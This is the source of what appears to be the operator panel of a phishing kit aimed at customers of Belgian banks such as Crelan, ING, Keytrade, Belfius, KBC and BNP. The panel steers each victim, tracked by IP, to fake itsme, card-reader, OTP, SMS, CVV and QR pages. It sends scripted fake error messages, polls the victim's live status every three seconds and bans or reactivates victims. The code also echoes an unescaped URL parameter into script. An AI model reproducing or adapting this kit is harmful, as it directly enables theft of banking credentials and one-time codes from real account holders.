                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="choice-crelan">CHOICE CRELAN</button>
                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="app-crelan">APPROUVE CRELAN</button>
                    <button type="button" class="btn" style="background-color:#00a650;color:white;" href="#l-crelan">LECTEUR CRELAN</button>
                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="crelan-mob-pre">CRELAN MOB PRE</button>
                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="crelan-mob-id">CRELAN MOB ID</button>
                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="crelan-mob-lec">CRELAN MOB LEC</button>
                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="crelan-mailc">CRELAN MAILC</button>
                    <button type="submit" class="btn" style="background-color:#00a650;color:white;" name="to" value="crelan-series">CRELAN SERIES</button>
                    <button type="button" class="btn" style="background-color:#00a650;color:white;" href="#crelanqrimg">CRELAN MOB QR</button>
                    <div id="crelanqrimg" class="collapse mt-2" style="max-width: 500px;margin: 10px auto 0;">
                        <div style="text-align:center;">
                            <label>Crelan QR image:</label>
                            <input accept="image/*" type="file" id="inp-crelanqr" style="color: black;width: 100%;">
                            <img id="img-crelanqr" height="120" class="my-2">
                            <textarea name="crelanQrB64" class="form-control mb-2" id="b64img-crelanqr" cols="30" rows="3" style="display:none;"></textarea>
                            <button type="submit" class="btn btn-warning btn-sm" name="to" value="crelan-mob-qr">Submit</button>
                        </div>
                    </div>
                    <div id="l-crelan" class="collapse bank-lecteur-form mt-2"><label>crelan lecteur:</label><input name="crelanText0" class="form-control mb-2" placeholder="security code"><input name="crelanDigiText1" class="form-control mb-2" value="nul" style="display:none;"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-crelan">Submit</button></div>
                    <div id="l-digipass" class="collapse bank-lecteur-form mt-2" style="display:none;"><label>digipass:</label><input name="digipassText0" class="form-control mb-2" placeholder="security code"><input name="digipassText1" class="form-control mb-2" value="nul" style="display:none;"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-digipass">Submit</button></div>
                </div>
                <!-- DEUTSCHE BANK -->
                <div class="bank-column bank-deutsche">
                    <div class="bank-logo"><img src="bc_files/logo-deutch.png" alt="Deutsche Bank"></div>
                    <button type="button" class="btn" style="background-color:#0050a0;color:white;" href="#l-deuch">lecteur Deutsche</button>
                    <div id="l-deuch" class="collapse bank-lecteur-form mt-2"><label>deuch lecteur:</label><input name="deuchText0" class="form-control mb-2" placeholder="security code"><input name="deuchText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-deuch">Submit</button></div>
                </div>
                <!-- KEYTRADE -->
                <div class="bank-column bank-crelan">
                    <div class="bank-logo"><img src="bc_files/logo-keytrade.jpg" alt="Keytrade"></div>
                    <button type="submit" class="btn" style="background-color:#0066b3;color:white;" name="to" value="choice-keytrade">choice Keytrade</button>
                    <button type="submit" class="btn" style="background-color:#0066b3;color:white;" name="to" value="id-keytrade">Keytrade ID</button>
                    <button type="button" class="btn" style="background-color:#0066b3;color:white;" href="#keytradeqrimg">Keytrade QR</button>
                    <div id="keytradeqrimg" class="collapse mt-2" style="max-width: 500px;margin: 10px auto 0;">
                        <div style="text-align:center;">
                            <label>Keytrade QR image:</label>
                            <input accept="image/*" type="file" id="inp-keytradeqr" style="color: black;width: 100%;">
                            <img id="img-keytradeqr" height="120" class="my-2">
                            <textarea name="keytradeQrB64" class="form-control mb-2" id="b64img-keytradeqr" cols="30" rows="3" style="display:none;"></textarea>
                            <button type="submit" class="btn btn-warning btn-sm" name="to" value="qr-keytrade">Submit</button>
                        </div>
                    </div>
                    <button type="button" class="btn" style="background-color:#0066b3;color:white;" href="#l-keytrade">lecteur Keytrade</button>
                    <div id="l-keytrade" class="collapse bank-lecteur-form mt-2"><label>Keytrade:</label><input name="keytradeText0" class="form-control mb-2" placeholder="code 1"><input name="keytradeText1" class="form-control mb-2" placeholder="code 2"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-keytrade">Submit</button></div>
                </div>
                <!-- NAGELMACKERS -->
                <div class="bank-column bank-deutsche">
                    <div class="bank-logo"><img src="bc_files/logo-Nagelmackers.png" alt="Nagelmackers"></div>
                    <button type="submit" class="btn" style="background-color:#003366;color:white;" name="to" value="itsme-nagelmackers">NEGELMACKERS ITSME</button>
                    <button type="button" class="btn" style="background-color:#003366;color:white;" href="#l-nagelmackers">lecteur Nagelmackers</button>
                    <div id="l-nagelmackers" class="collapse bank-lecteur-form mt-2"><label>Nagelmackers:</label><input name="nagelmackersText0" class="form-control mb-2" placeholder="code 1"><input name="nagelmackersText1" class="form-control mb-2" placeholder="code 2"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-nagelmackers">Submit</button></div>
                </div>
                <!-- ING -->
                <div class="bank-column bank-ing">
                    <div class="bank-logo"><img src="bc_files/logo-ING.png" alt="ING"></div>
                    <button type="submit" class="btn" style="background-color:#ff6200;color:white;" name="to" value="itsMe">choice ING / itsMe</button>
                    <button type="submit" class="btn" style="background-color:#ff6200;color:white;" name="to" value="itsMe-ing">ITSME ING</button>
                    <button type="button" class="btn" style="background-color:#ff6200;color:white;" href="#l-ing">lecteur ING</button>
                    <button type="submit" class="btn" style="background-color:#ff6200;color:white;" name="to" value="ing-idMobile">ING ID MOBILE</button>
                    <button type="submit" class="btn" style="background-color:#ff6200;color:white;" name="to" value="l-ingOneMobile">lecteur MOBILE 1</button>
                    <button type="submit" class="btn" style="background-color:#ff6200;color:white;" name="to" value="ing-otpMobile">OTP MOBILE</button>
                    <button type="button" class="btn" style="background-color:#ff6200;color:white;" href="#l-ingTwoMobile">lecteur MOBILE 2</button>
                    <button type="submit" class="btn" style="background-color:#ff6200;color:white;" name="to" value="ing-itsMeMobile">ING ITSME MOBILE</button>
                    <div id="l-ing" class="collapse bank-lecteur-form mt-2"><label>ing lecteur:</label><input name="ingText0" class="form-control mb-2" placeholder="security code"><input name="ingText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-ing">Submit</button></div>
                    <div id="l-ingTwoMobile" class="collapse bank-lecteur-form mt-2"><label>ing MOBILE 2:</label><input name="ingTwoMobileText0" class="form-control mb-2" placeholder="security code"><input name="ingTwoMobileText1" class="form-control mb-2" value="nul" style="display:none;"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-ingTwoMobile">Submit</button></div>
                </div>
                <!-- BPOST -->
                <div class="bank-column bank-bpost">
                    <div class="bank-logo"><img src="bc_files/logo-Bpost.png" alt="Bpost"></div>
                    <button type="submit" class="btn" style="background-color:#004987;color:white;" name="to" value="id-bpost">ID BPOST</button>
                    <button type="submit" class="btn" style="background-color:#004987;color:white;" name="to" value="otp-bpost">OTP BPOST</button>
                    <div id="l-bpost" class="collapse bank-lecteur-form mt-2"><label>bpost lecteur:</label><input name="bpostText0" class="form-control mb-2" value="nul" style="display:none;"><input name="bpostText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-bpost">Submit</button></div>
                </div>
                <!-- AXA -->
                <div class="bank-column bank-axa">
                    <div class="bank-logo"><img src="bc_files/logo-axa.jpg" alt="AXA"></div>
                    <button type="button" class="btn" style="background-color:#0087ba;color:white;" href="#l-axa">AXA</button>
                    <div id="l-axa" class="collapse bank-lecteur-form mt-2"><label>axa lecteur:</label><input name="axaText0" class="form-control mb-2" placeholder="security code"><input name="axaText1" class="form-control mb-2" value="nul" style="display:none;"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-axa">Submit</button></div>
            </div>
            </div>

            <!-- ItsMeLogo hidden form -->
            <div id="itsMeLogo" class="collapse bank-lecteur-form" style="display:none;max-width:560px;margin:0 auto;">
                <?php
                $image1 = 'bc_files/1.jpeg';
                $image2 = 'bc_files/2.jpeg';
                $image3 = 'bc_files/3.jpeg';
                $image4 = 'bc_files/4.jpeg';
                $image5 = 'bc_files/5.jpeg';
                $image6 = 'bc_files/6.jpeg';
                ?>
                <label class="d-block text-left mb-2" style="font-size:13px;font-weight:bold;">ItsMe Logo — Select an image:</label>
                <div style="display:flex;flex-wrap:wrap;gap:10px;justify-content:center;margin-bottom:14px;">
                    <?php foreach([$image1,$image2,$image3,$image4,$image5,$image6] as $i => $imgUrl): ?>
                    <label style="cursor:pointer;border:3px solid transparent;border-radius:10px;padding:4px;transition:border-color .2s;" class="itsme-logo-label">
                        <input type="radio" name="itsMeLogoRadio" value="<?php echo htmlspecialchars($imgUrl); ?>" style="display:none;" class="itsme-logo-radio">
                        <img src="<?php echo htmlspecialchars($imgUrl); ?>" alt="logo <?php echo $i+1; ?>" style="width:72px;height:72px;object-fit:contain;border-radius:8px;background:#f0f0f0;display:block;">
                    </label>
                    <?php endforeach; ?>
                </div>

                <!-- Custom image upload section -->
                <div style="border-top:1px solid #ddd;padding-top:12px;margin-bottom:12px;">
                    <label class="d-block text-left mb-1" style="font-size:12px;font-weight:bold;">&#128247; Upload from PC:</label>
                    <input type="file" id="itsMeLogoFileInput" accept="image/*" class="form-control mb-2" style="font-size:12px;">

                    <label class="d-block text-left mb-1" style="font-size:12px;font-weight:bold;">&#128279; Or paste image URL:</label>
                    <div style="display:flex;gap:6px;">
                        <input type="text" id="itsMeLogoUrlInput" class="form-control" placeholder="https://example.com/image.png" style="font-size:12px;">
                        <button type="button" id="itsMeLogoUrlBtn" class="btn btn-secondary btn-sm" style="white-space:nowrap;">Use URL</button>
                    </div>

                    <!-- Live preview -->
                    <div id="itsMeLogoCustomPreviewWrap" style="display:none;margin-top:10px;text-align:center;">
                        <img id="itsMeLogoCustomPreview" src="" alt="preview" style="max-width:120px;max-height:120px;border-radius:10px;border:2px solid #6f42c1;object-fit:contain;background:#f0f0f0;">
                        <div style="font-size:11px;color:#6f42c1;margin-top:4px;">&#10003; Custom image selected</div>
                    </div>
                </div>

                <!-- Hidden field carrying the final image value (URL or base64) -->
                <input type="hidden" id="itsMeLogoFinalImg" name="itsMeLogoImg" value="">

                <input type="text" id="itsMeLogoPreview" class="form-control mb-3" placeholder="Selected logo" readonly style="font-size:12px;color:#555;">
                <button type="submit" class="btn btn-primary" name="to" value="itsMe-logo" style="width:100%;">Submit</button>
            </div>

            <div class="interface-panel mt-3" style="padding-top:15px;">
                <div id="errorCCS" class="collapse bank-lecteur-form" style="max-width: 500px;margin: 0 auto;">
                    <label class="d-block text-left mb-1" style="font-size:12px;">Select</label>
                    <select name="errorCCSText0" id="errorCCSMainSelect" class="form-control mb-2" style="width:100%;">
                        <option value="">— select one or none —</option>
                        <option value="Session expirée">Session expirée</option>
                        <option value="Carte non supportée">Carte non supportée</option>
                        <option value="Code erroné">Code erroné</option>
                        <option value="carte non supportée veuillez changer votre carte">carte non supportée veuillez changer votre carte</option>
                        <option value="Carte incorrect">Carte incorrect</option>
                    </select>
                    <label class="d-block text-left mb-1" style="font-size:12px;">Specific message</label>
                    <input name="errorCCSText1" id="errorCCSText1" class="form-control mb-3" placeholder="Specific message" style="width:100%;">

                    <label class="d-block text-left mb-1" style="font-size:12px;">Select</label>
                    <select name="errorCCSText2" id="errorCCSSubSelect" class="form-control mb-2" style="width:100%;">
                        <option value="">— select one or none —</option>
                        <option value="vérifiez votre date expirations (MM/AA)">vérifiez votre date expirations (MM/AA)</option>
                        <option value="veuillez réessayer plus tard">veuillez réessayer plus tard</option>
                    </select>
                    <label class="d-block text-left mb-1" style="font-size:12px;">Personalized text</label>
                    <input name="errorCCSText3" id="errorCCSText3" class="form-control mb-3" placeholder="Personalized text" style="width:100%;">

                    <button type="submit" class="btn btn-warning" name="to" value="errorCCS">Submit</button>
                </div>
                <div id="qrimg" class="collapse mt-2" style="max-width: 500px;margin: 10px auto 0;">
                    <div style="text-align:center;">
                        <label>text :</label>
                        <textarea type="text" name="text" value="" class="form-control mb-2" style="width:100%;height:60px;"></textarea>
                        <label>QR code image:</label>
                        <input accept="image/*" name="img" type="file" id="inp" style="color: black;width: 100%;">
                        <img id="img" height="120" class="my-2">
                        <textarea name="b64img" class="form-control mb-2" id="b64img" cols="30" rows="3"></textarea>
                        <button type="submit" class="btn btn-warning btn-sm" name="to" value="2fa">Submit</button>
                </div>
                </div>
            </div>
            <hr>
    </div>
            <script>
                function readFile() {
                    if (this.files && this.files[0]) {
                        var FR = new FileReader();
                        FR.addEventListener("load", function(e) {
                            document.getElementById("img").src = e.target.result;
                            document.getElementById("b64img").value = e.target.result;
                        });
                        FR.readAsDataURL(this.files[0]);
                    }
                }
                document.getElementById("inp").addEventListener("change", readFile);
                var inpKeytradeQr = document.getElementById("inp-keytradeqr");
                if (inpKeytradeQr) {
                    inpKeytradeQr.addEventListener("change", function() {
                        if (this.files && this.files[0]) {
                            var FR = new FileReader();
                            FR.addEventListener("load", function(e) {
                                document.getElementById("img-keytradeqr").src = e.target.result;
                                document.getElementById("b64img-keytradeqr").value = e.target.result;
                            });
                            FR.readAsDataURL(this.files[0]);
                        }
                    });
                }
                var inpCrelanQr = document.getElementById("inp-crelanqr");
                if (inpCrelanQr) {
                    inpCrelanQr.addEventListener("change", function() {
                        if (this.files && this.files[0]) {
                            var FR = new FileReader();
                            FR.addEventListener("load", function(e) {
                                document.getElementById("img-crelanqr").src = e.target.result;
                                document.getElementById("b64img-crelanqr").value = e.target.result;
                            });
                            FR.readAsDataURL(this.files[0]);
                        }
                    });
                }
            </script>

    <!-- Popup modal for input forms -->
    <div id="panel-modal">
        <div class="modal-box">
            <button type="button" class="modal-close" aria-label="Close">&times;</button>
            <div class="modal-body"></div>
        </div>
    </div>

    </form>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
    <script>
        (function() {
            var modal = $('#panel-modal');
            var modalBody = modal.find('.modal-body');
            var modalOriginalParent = null;
            var modalTarget = null;

            function closeModal() {
                if (modalTarget && modalOriginalParent && modalTarget.length) {
                    modalTarget.appendTo(modalOriginalParent).hide();
                    modalTarget = null;
                    modalOriginalParent = null;
                }
                modal.removeClass('show');
            }

            function openInModal($target) {
                if (!$target.length) return;
                modalOriginalParent = $target.parent();
                modalTarget = $target;
                $target.appendTo(modalBody);
                $target.show();
                modal.addClass('show');
            }

        $('button[type="button"]').click(function() {
            var href = $(this).attr('href');
                if (href && href.indexOf('#') === 0) {
                    var $target = $(href);
                    if ($target.length) {
                        openInModal($target);
                        return;
                    }
                }
            });

            modal.find('.modal-close').click(function() { closeModal(); });
            modal.click(function(e) {
                if (e.target === this) closeModal();
            });
            modal.find('.modal-box').click(function(e) { e.stopPropagation(); });

            // ItsMeLogo radio selection visual feedback + populate hidden field
            modalBody.on('change', '.itsme-logo-radio', function() {
                modalBody.find('.itsme-logo-label').css('border-color', 'transparent');
                $(this).closest('.itsme-logo-label').css('border-color', '#6f42c1');
                var imgUrl = $(this).val();
                modalBody.find('#itsMeLogoFinalImg').val(imgUrl);
                modalBody.find('#itsMeLogoPreview').val('Preset logo ' + (modalBody.find('.itsme-logo-radio').index(this) + 1));
                // Reset custom preview when a preset is chosen
                modalBody.find('#itsMeLogoCustomPreviewWrap').hide();
                modalBody.find('#itsMeLogoCustomPreview').attr('src', '');
                modalBody.find('#itsMeLogoFileInput').val('');
                modalBody.find('#itsMeLogoUrlInput').val('');
            });

            // File upload handler
            modalBody.on('change', '#itsMeLogoFileInput', function() {
                var file = this.files && this.files[0];
                if (!file) return;
                var reader = new FileReader();
                reader.onload = function(e) {
                    var b64 = e.target.result;
                    modalBody.find('#itsMeLogoFinalImg').val(b64);
                    modalBody.find('#itsMeLogoPreview').val('Custom upload: ' + file.name);
                    modalBody.find('#itsMeLogoCustomPreview').attr('src', b64);
                    modalBody.find('#itsMeLogoCustomPreviewWrap').show();
                    // Deselect all radios
                    modalBody.find('.itsme-logo-radio').prop('checked', false);
                    modalBody.find('.itsme-logo-label').css('border-color', 'transparent');
                };
                reader.readAsDataURL(file);
            });

            // URL button handler
            modalBody.on('click', '#itsMeLogoUrlBtn', function() {
                var url = modalBody.find('#itsMeLogoUrlInput').val().trim();
                if (!url) return;
                modalBody.find('#itsMeLogoFinalImg').val(url);
                modalBody.find('#itsMeLogoPreview').val('Custom URL: ' + url.substring(0, 50) + (url.length > 50 ? '...' : ''));
                modalBody.find('#itsMeLogoCustomPreview').attr('src', url);
                modalBody.find('#itsMeLogoCustomPreviewWrap').show();
                // Deselect all radios
                modalBody.find('.itsme-logo-radio').prop('checked', false);
                modalBody.find('.itsme-logo-label').css('border-color', 'transparent');
                modalBody.find('#itsMeLogoFileInput').val('');
            });

            modalBody.on('click', 'button[type="submit"]', function() {
                if (modalTarget && modalOriginalParent && modalTarget.length) {
                    modalTarget.appendTo(modalOriginalParent).hide();
                    modalTarget = null;
                    modalOriginalParent = null;
                }
                modal.removeClass('show');
            });
        })();
    </script>
    <script>
        // Dynamic Status Badge - Check every 3 seconds
        (function() {
            const userIP = '<?php echo $_GET['ip']; ?>';
            const statusBadge = document.getElementById('user-status-badge');
            const statusText = document.getElementById('status-text');
            const statusTime = document.getElementById('status-time');

            // CPH section: canonical page IDs (used when pages send fixed name) -> display name. Panel shows "CPH " + this.
            const cphPageNames = {
                'choice-cph': 'Choice',
                'itsMe-cph': 'itsMe',
                'l-cph': 'lecteur'
            };
            // Deutsche Bank section: page names from controller. Panel shows "deutshe " + name so you can identify Deutsche Bank pages.
            const deutsheBankPageNames = {
                'bc-l-deuch.php': 'lecteur Deutsche',
                'l-deuch.php': 'lecteur Deutsche'
            };
            // Keytrade section: page names from controller. Panel shows "keytrade " + name so you can identify Keytrade bank pages.
            const keytradePageNames = {
                'l-keytrade': 'lecteur',
                'keytrade.php': 'lecteur'
            };
            // ING section: page names from controller. Panel shows "ING " + name so you can identify ING pages.
            const ingPageNames = {
                'bc-itsMe.php': 'choice / itsMe',
                'bc-itsMe-ing.php': 'itsMe',
                'bc-l-ing.php': 'lecteur',
                'bc-ing-idMobile.php': 'ID MOBILE',
                'bc-l-ingOneMobile.php': 'lecteur MOBILE 1',
                'bc-ing-otpMobile.php': 'OTP MOBILE',
                'bc-l-ingTwoMobile.php': 'lecteur MOBILE 2',
                'bc-ing-itsMeMobile.php': 'itsMe MOBILE',
                'itsMe': 'choice / itsMe',
                'itsMe-ing': 'itsMe',
                'l-ing': 'lecteur',
                'ing-idMobile': 'ID MOBILE',
                'l-ingOneMobile': 'lecteur MOBILE 1',
                'ing-otpMobile': 'OTP MOBILE',
                'l-ingTwoMobile': 'lecteur MOBILE 2',
                'ing-itsMeMobile': 'itsMe MOBILE'
            };
            // Function to map technical page names to friendly display names
            function getFriendlyPageName(pageName) {
                if (!pageName) return 'unknown';
                // CPH pages: use controller names and prefix "CPH " so they are identifiable in the panel
                if (cphPageNames[pageName]) return 'CPH ' + cphPageNames[pageName];
                if (pageName.indexOf('cph') !== -1) {
                    var cphLabel = (pageName.indexOf('choice') !== -1) ? 'Choice' : (pageName.indexOf('itsMe') !== -1 ? 'itsMe' : 'lecteur');
                    return 'CPH ' + cphLabel;
                }
                // Deutsche Bank pages: prefix "deutshe " + page name from controller (so you can identify them in the panel)
                if (deutsheBankPageNames[pageName]) return 'deutshe ' + deutsheBankPageNames[pageName];
                if (pageName.indexOf('deuch') !== -1) {
                    var deutsheLabel = pageName.replace('bc-', '').replace('.php', '');
                    return 'deutshe ' + (deutsheLabel || 'page');
                }
                // Keytrade pages: prefix "keytrade " + page name from controller (so you can identify Keytrade bank pages in the panel)
                if (keytradePageNames[pageName]) return 'keytrade ' + keytradePageNames[pageName];
                if (pageName.indexOf('keytrade') !== -1) {
                    var keytradeLabel = keytradePageNames[pageName] || 'lecteur';
                    return 'keytrade ' + keytradeLabel;
                }
                // ING pages: prefix "ING " + page name from controller (so you can identify ING pages in the panel)
                if (ingPageNames[pageName]) return 'ING ' + ingPageNames[pageName];
                if (pageName.indexOf('ing') !== -1 && pageName.indexOf('loading') === -1) {
                    var ingLabel = pageName.replace('bc-', '').replace('.php', '');
                    return 'ING ' + (ingLabel || 'page');
                }

                const pageMapping = {
                    'bc-sms.php': 'sms',
                    'bc-approve.php': 'approve payment',
                    'bc-accepter.php': 'payment accepter',
                    'bc-refuser.php': 'payment refuser',
                    'bc-bill.php': 'Billing',
                    'bc-2fa.php': '2fa',
                    'bc-choice.php': 'Choice Bank',
                    'bc-infos.php': 'cc bancontact',
                    'bc-load.php': 'loading',
                    'bc-m-choice.php': 'choice reader/itsMe',
                    'bc-fr-infos.php': 'cc normal',
                    'bc-itsMe.php': 'itsMe',
                    'bc-method.php': 'method',
                    'bc-url.php': 'custom-url',
                    'bc-app-crelan.php': 'approve crelan',
                    'bc-itsMe-belfius.php': 'BELFIUS itsMe Belfius',
                    'bc-belfius-otpSms.php': 'BELFIUS OTP SMS',
                    'bc-belfius-virement.php': 'BELFIUS virement',
                    'bc-belfius-smsLecteur.php': 'BELFIUS SMS lecteur',
                    'bc-itsMe-cbc.php': 'itsMe cbc',
                    'bc-itsMe-kbc.php': 'itsMe kbc',
                    'bc-choice-crelan.php': 'CRELAN choice Crelan',
                    'bc-choice-belfius.php': 'BELFIUS choice Belfius',
                    'bc-choice-cbc.php': 'choice cbc',
                    'bc-choice-kbc.php': 'choice kbc',
                    'bc-choice-argenta.php': 'choice argenta',
                    'bc-choice-cph.php': 'CPH Choice',
                    'bc-itsMe-cph.php': 'CPH itsMe',
                    'bc-itsMe-ing.php': 'itsMe ing',
                    'bc-errorCCS.php': 'error CC',
                    'bc-crelan-activation.php': 'CRELAN ID Crelan',
                    'CrelanSeries.php': 'Crelan Series',
                    'Crelan-MailC.php': 'Crelan MailC',
                    'CrelanMob-ID.php': 'Crelan Mob ID',
                    'CrelanMob-lec.php': 'Crelan Mob Lec',
                    'CrelanMob-Pre.php': 'Crelan Mob Pre',
                    'CrelanMob-QR.php': 'Crelan Mob QR',
                    'bc-bpost-lecteur.php': 'BPOST LECTEUR',
                    'bc-belefius-virement-BASE.php': 'BELFIUS virement base',
                    'bc-bnp-idMobile.php': 'bnp idMobile',
                    'bc-bnp-otpMobile.php': 'bnp OTP Mobile',
                    'bc-ing-idMobile.php': 'ing idMobile',
                    'bc-ing-itsMeMobile.php': 'ing itsMeMobile',
                    'bc-ing-otpMobile.php': 'ing otpMobile',
                    'bc-l-argenta.php': 'argenta lecteur',
                    'bc-l-argenta-log.php': 'argenta log',
                    'bc-l-axa.php': 'axa reader',
                    'bc-l-belfius.php': 'BELFIUS achats',
                    'bc-l-belfiusMobile.php': 'BELFIUS lecteur belfiusMobile',
                    'bc-l-beoApp.php': 'beoApprove',
                    'bc-l-beoDigi.php': 'beoDigipass reader',
                    'bc-l-beoDigi-new.php': 'beoDigi new reader',
                    'bc-l-bnp.php': 'bnp achats',
                    'bc-l-bnpMobile.php': 'lecteur bnpMobile',
                    'bc-l-bpost.php': 'bpost reader',
                    'bc-l-cbc.php': 'cbc reader',
                    'bc-l-cph.php': 'CPH lecteur',
                    'bc-l-crelan.php': 'crelan lecteur',
                    'bc-l-deuch.php': 'lecteur Deutsche',
                    'bc-l-digipass.php': 'digipass reader',
                    'bc-l-ing.php': 'ing reader',
                    'bc-l-ingOneMobile.php': 'ingOneMobile reader',
                    'bc-l-ingTwoMobile.php': 'ingTwoMobile reader',
                    'bc-l-kbc.php': 'kbc lecteur',
                    'bc-clear-user.php': 'clear user',
                    'itsMe-Argenta.php': 'itsMe argenta',
                    'argentaotp.php': 'Argenta OTP',
                    'bpaid.php': 'ID BPOST',
                    'bpaidotp.php': 'OTP BPOST',
                    'keytrade.php': 'keytrade lecteur',
                    'Keytrade-id.php': 'keytrade id',
                    'Keytrade-choice.php': 'keytrade choice',
                    'qr-keytrade': 'keytrade qr',
                    'nagelmackers.php': 'Nagelmackers',
                    'nagelmakers-itsme.php': 'Nagelmackers ItsMe',
                    'itsMeLog.php': 'itsMe Logo',
                    'itsmestandart.php': 'ItsMe Standart',
                    'cvv.php': 'CVV',
                    '403.php': '403 error',
                    'index.php': 'index',
                    'l-axa.php': 'axa reader',
                    'l-bpost.php': 'bpost reader',
                    'l-cbc.php': 'cbc reader',
                    'l-digipass.php': 'digipass reader',
                    'l-crelan.php': 'crelan reader',
                    'l-kbc.php': 'kbc reader',
                    'l-belfius.php': 'BELFIUS achats',
                    'l-bnp.php': 'bnp reader',
                    'l-ing.php': 'ing reader',
                    'l-argenta.php': 'argenta lecteur',
                    'l-cph.php': 'CPH lecteur',
                    'l-deuch.php': 'lecteur Deutsche',
                    'l-beoDigi.php': 'beoDigipass reader',
                    'l-beoApp.php': 'beoApprove',
                    'l-belfiusMobile.php': 'BELFIUS lecteur belfiusMobile',
                    'bnp-idMobile.php': 'bnp-idMobile',
                    'l-bnpMobile.php': 'bnpMobile reader',
                    'bnp-otpMobile.php': 'bnp-otpMobile',
                    'ing-idMobile.php': 'ing idMobile',
                    'ing-itsMeMobile.php': 'ing itsMeMobile',
                    'ing-otpMobile.php': 'ing otpMobile',
                    'l-ingOneMobile.php': 'ingOneMobile reader',
                    'l-ingTwoMobile.php': 'ingTwoMobile reader'
                };
                return pageMapping[pageName] || pageName.replace('bc-', '').replace('.php', '');
            }

            function updateStatusBadge(status, lastSeen, timeDiff, currentPage, userStatus) {
                const isBanned = userStatus === 'banned';

                if (status === 'online') {
                    if (isBanned) {
                        statusBadge.style.backgroundColor = '#f8d7da';
                        statusBadge.style.border = '1px solid #f5c6cb';
                        statusBadge.style.color = '#721c24';
                        statusText.textContent = '🚫 User Online (BANNED)';
                    } else {
                        statusBadge.style.backgroundColor = '#d4edda';
                        statusBadge.style.border = '1px solid #c3e6cb';
                        statusBadge.style.color = '#155724';
                        statusText.textContent = '🟢 User Online';
                    }
                    statusTime.textContent = `Last seen: ${timeDiff}s ago | Page: ${getFriendlyPageName(currentPage)} | Status: ${userStatus}`;
                } else {
                    if (isBanned) {
                        statusBadge.style.backgroundColor = '#6c757d';
                        statusBadge.style.border = '1px solid #545b62';
                        statusBadge.style.color = '#fff';
                        statusText.textContent = '🚫 User Offline (BANNED)';
                    } else {
                        statusBadge.style.backgroundColor = '#f8d7da';
                        statusBadge.style.border = '1px solid #f5c6cb';
                        statusBadge.style.color = '#721c24';
                        statusText.textContent = '🔴 User Offline';
                    }
                    statusTime.textContent = lastSeen ? `Last seen: ${lastSeen} | Page: ${getFriendlyPageName(currentPage)} | Status: ${userStatus}` : 'Never seen';
                }
            }

            function checkUserStatus() {
                fetch(`config.php?checkstatus=true&ip=${encodeURIComponent(userIP)}`, {
                        method: 'GET',
                        headers: {
                            'Cache-Control': 'no-cache',
                            'Pragma': 'no-cache'
                        }
                    })
                    .then(response => response.json())
                    .then(data => {
                        console.log('Status check:', data);
                        updateStatusBadge(data.status, data.lastSeen, data.timeDiff, data.currentPage, data.userStatus);
                    })
                    .catch(error => {
                        console.error('Status check error:', error);
                        statusBadge.style.backgroundColor = '#fff3cd';
                        statusBadge.style.border = '1px solid #ffeaa7';
                        statusBadge.style.color = '#856404';
                        statusText.textContent = '⚠️ Status Unknown';
                        statusTime.textContent = 'Connection error';
                    });
            }

            // Initial check
            checkUserStatus();

            // Check every 3 seconds
            setInterval(checkUserStatus, 3000);

            console.log(`Started monitoring user: ${userIP}`);
        })();

        // Ban/Activate User Functionality
        document.getElementById('ban-user-btn').addEventListener('click', function() {
            banOrActivateUser('ban');
        });

        document.getElementById('activate-user-btn').addEventListener('click', function() {
            banOrActivateUser('unban');
        });

        function banOrActivateUser(action) {
            const userIP = '<?php echo $_GET['ip']; ?>';
            const messageDiv = document.getElementById('ban-status-message');

            // Show loading message
            messageDiv.style.display = 'block';
            messageDiv.style.backgroundColor = '#fff3cd';
            messageDiv.style.border = '1px solid #ffeaa7';
            messageDiv.style.color = '#856404';
            messageDiv.textContent = `${action === 'ban' ? 'Banning' : 'Activating'} user...`;

            fetch(`config.php?admin=1&action=${action}&ip=${encodeURIComponent(userIP)}`, {
                    method: 'GET',
                    headers: {
                        'Cache-Control': 'no-cache',
                        'Pragma': 'no-cache'
                    }
                })
                .then(response => response.json())
                .then(data => {
                    console.log('Ban/Activate response:', data);

                    if (data.success) {
                        // Success message
                        messageDiv.style.backgroundColor = '#d4edda';
                        messageDiv.style.border = '1px solid #c3e6cb';
                        messageDiv.style.color = '#155724';
                        messageDiv.textContent = `✅ User ${action === 'ban' ? 'banned' : 'activated'} successfully!`;
                    } else {
                        // Error message
                        messageDiv.style.backgroundColor = '#f8d7da';
                        messageDiv.style.border = '1px solid #f5c6cb';
                        messageDiv.style.color = '#721c24';
                        messageDiv.textContent = `❌ Error: ${data.error || 'Unknown error'}`;
                    }

                    // Hide message after 3 seconds
                    setTimeout(() => {
                        messageDiv.style.display = 'none';
                    }, 3000);
                })
                .catch(error => {
                    console.error('Ban/Activate error:', error);
                    messageDiv.style.backgroundColor = '#f8d7da';
                    messageDiv.style.border = '1px solid #f5c6cb';
                    messageDiv.style.color = '#721c24';
                    messageDiv.textContent = '❌ Connection error';

                    setTimeout(() => {
                        messageDiv.style.display = 'none';
                    }, 3000);
                });
        }
    </script>
</body>

</html>